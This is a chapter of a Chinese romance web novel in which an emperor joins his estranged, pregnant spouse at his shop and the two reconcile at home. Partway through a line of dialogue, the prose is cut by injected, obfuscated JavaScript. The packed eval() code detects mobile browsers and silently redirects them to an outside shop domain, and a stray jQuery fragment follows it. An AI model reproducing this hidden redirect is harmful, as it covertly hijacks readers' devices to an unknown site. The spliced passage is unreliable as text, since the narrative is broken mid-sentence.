来店里帮工的第一天,应淮川就和小树针锋相对了。
小树:“小青哥,即便他是皇帝,也不能强制到我们店里帮工吧?”
应淮川眯了眯眼睛,不快道:“你们店里?”
小树不遑多让,环着手点点头:“就是我们店里。”
应淮川揽过江云青:“云青,你似乎还没告诉这位镖头,我们的关系。”
江云青:“……”
他是过来劝架的,谁曾想把自己搭了进去。
小树愤愤不平道:“你少在这里威胁小青哥,你们什么关系?”
应淮川勾唇轻笑:“夫夫,拜过天地,有婚书的那种。”
小树一顿,他冷笑两声:“呵呵,原来你就是那个负心汉?”
应淮川看向小树,沉声道:“你说什么?”
要是洛灿在,一定会知道,应淮川这是要砍头的眼神。
小树:“我说错了吗,你不是负心汉吗?把小青哥忘在这里四个月!”
忘都忘了,现在又找来!
应淮川:“岑忠……”
在岑忠过来之前,江云青挡在应淮川和小树之前,“都别吵了。”
应淮川错愕道:“云青,你居然护着他。”
小树更是可怜巴巴:“小青哥,这种负心汉有什么好护的。”
江云青一个头两个大。
他看着应淮川:“小树是我的朋友,不许跟他吵架。”
他又看向小树:“是我抛弃应淮川的,他不是负心汉,他真是我夫君,你也不许跟他吵架。”
小树欲言又止,而应淮川,明显已经因为那声有名分的夫君暗爽了。
堂堂皇帝,居然挑衅地看了小树一眼。
小树攥紧拳头。
“还有,”江云青板着脸,沉声道:“再吵架,你们两个都滚出去。”
江云青这样一说,两个人都如同霜打了的茄子,老老实实道:“知道了。”
江云青继续板着脸:“还不快去招呼客人。”
两个人继续老老实实:“好的,老板。”
终于解决了,江云青痛痛快快伸了个懒腰,回到柜台后面,跟账房接着学算账。
江云青打算盘已经打得有模有样了。
学完算盘,旁边人端过来一盅桂花莲子羹,江云青还以为是应淮川,他正要板着脸,听见那人低声说了句:“太子妃。”
江云青愕然抬头,对上的是杜堂的脸,他愣了一会儿,道:“不必再叫我太子妃了。”
杜堂点点头:“是,我记住了。”
江云青去打开小盅的盖子,却被杜堂抢了先,他担心江云青烫到手,利落地打开盖子,又将托盘上的瓷勺放进去,才推到江云青面前,“老板,好了。”
江云青怔怔。
在东宫的时候就是这样,杜堂总是事无巨细地照顾着他,江云青舀起一勺,他舌尖抵住齿关,“杜堂,我……”
杜堂和他同时开口:“老板,对不起。”
江云青茫然地眨了眨眼睛,“你为什么要跟我道歉?”
杜堂低着头道:“我也和他们一起瞒着你,让你伤心了。”
勺子落进小盅里,江云青抓住,漫无目的地在小盅里搅着,杜堂问:“烫?”
江云青摇头,他仰着脸看着杜堂,终于下定决心,“杜堂,我不怪你,你是东宫的暗卫,肯定要听命行事,是我不好,让你为难了,对不起。”
杜堂瞪大眼睛,惊讶之间,他忘了称呼的事:“太子妃……”
江云青柔声道:“过去的就让他过去吧。”
杜堂默然,点了点头。
江云青喝了一口桂花莲子羹,笑着道:“好喝。”
杜堂跟着他笑,心里的石头落了地。
打烊之后。
应淮川将岑忠他们打发去睡客栈,他自己则是跟着江云青,打算回江云青的家。
应淮川扶着江云青上了马车,对小树和颜悦色道:“多谢你啊,小树。”
小树:“……”
可恶可恶可恶可恶!
江云青看了应淮川一眼,他道:“你怎么不去住客栈?”
应淮川:“我是你的夫君,难道不应该跟你住一起?”
江云青:“……”
应淮川揽住江云青,手顺势放到了江云青的肚子上,江云青有几分不自在,垂下的眼睫一直颤。
应淮川道:“有孕之人,前四个月是最辛苦的,对不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738704|204525||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起,云青。”
江云青鼻子发酸,他扭过头,“别再跟我说对不起了。”
“我知道了,”应淮川语气发软,“我下次不说了。”
半夜。
江云青的腿抽筋了,他攥紧被子,皱着眉,想要默默等这一阵过去,没想到有一只温热的手掌托住了江云青抽筋的左小腿,缓缓帮江云青揉着。
哦,江云青想起,应淮川找来了,他不再是孤身一人了。
应淮川抬起头,对上江云青在月光下清亮的眼睛,他一顿,问:“好点了吗?”
江云青点点头,拍了拍身侧,轻声道:“来睡吧。”
“嗯。”
应淮川重新在江云青身侧躺下,江云青下意识地在应淮川怀里找了个舒服的姿势。
美滋滋靠着的时候,江云青浑身一僵,正要出去,应淮川将江云青环住,他低声在江云青耳边道:“就这么睡吧,云青。”
应淮川的胸膛很温暖,江云青理直气壮地往回靠。
早上。
应淮川帮江云青穿衣,穿袜,穿鞋,帮江云青束发,要不是江云青不乐意,他还能帮江云青刷牙洗脸。
江云青被他照顾得不好意思极了,他小声道:“你不是说,我也骗了你吗?你也支使我做点什么吧。”
应淮川看着江云青,见江云青神情认真,他忽然笑了一声,“以后再说吧。”
“别以后了。”江云青扯扯应淮川的袖子。
“好吧,”应淮川道:“云青,我支使你,来亲我。”
江云青眼睛微微睁大:“啊?”
应淮川遗憾道:“办不到?也没关系,我再想想。”
江云青:“……”
果然还是那个坏太子。
坏太子假模假样思考的时候,江云青捧着肚子踮起脚,亲了亲应淮川的唇。
像是小鸟在啄,应淮川的心顿时都化了。
江云青抱怨道:“下次不能支使我做这个了。”
“嗯?”
江云青红着脸:“你坏透了。”
应淮川笑着说:“云青,你也可以支使我做这个啊。”
江云青:“……”
他背过身,头顶好像在冒热气。